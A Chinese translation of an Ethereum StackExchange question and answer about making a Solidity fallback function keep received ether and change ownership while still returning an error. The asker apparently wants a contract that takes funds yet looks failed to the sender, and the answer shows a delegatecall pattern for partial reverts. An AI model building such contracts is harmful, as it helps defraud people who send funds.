Solidity

似乎不可能執行某些操作然後拋出返回錯誤?

  • December 2, 2019

我怎樣才能完成這樣的事情:

  1. 接受乙太,設置所有者或任何東西
  2. 然後返回 1,拋出……就返回

儘管穿越了函式並使用了 if 條件,但這似乎不起作用:

address news = 0xdd870fa1b7c4700f2bd7f44238821c26f7392148; 

 function () public payable
 {
     _owner = msg.sender;
      joki();

         if(!news.send(999999999999999999999999999999999999999999999999999999999999999999999999999))
    {
        throw;

    }
 }
 function joki() public payable returns (bool)
 {
     if(news.send(msg.value))
    {
       // joki();
       return true;

    }
     return true;

 }

儘管在“投擲”之前寫了這兩個條件,但它只會投擲並獲得零乙太幣,也不會設置新所有者?

這個想法是將您的功能分為兩個功能。這裡 foo 將失敗並恢復,而 bar 將在同一個合約中將呼叫委託給 foo。

contract A {
   uint256 public counter = 1;

   event DelegateCallFailed();

   function foo() public {
       counter += 1000;
       // Make to always revert
       revert();
   }

   function bar() public {
       // Modify the contract's state
       counter += 1;
       uint256 b = counter;
       // Delegatecall to foo
       (bool res,) = address(this).delegatecall(abi.encodeWithSignature("foo()"));
       if (!res) {
           // Make sure that counter wasn't modified by foo
           require(b == counter, "Counter shouldn't change");
           emit DelegateCallFailed();
       }
   }
}

引用自:https://ethereum.stackexchange.com/questions/77965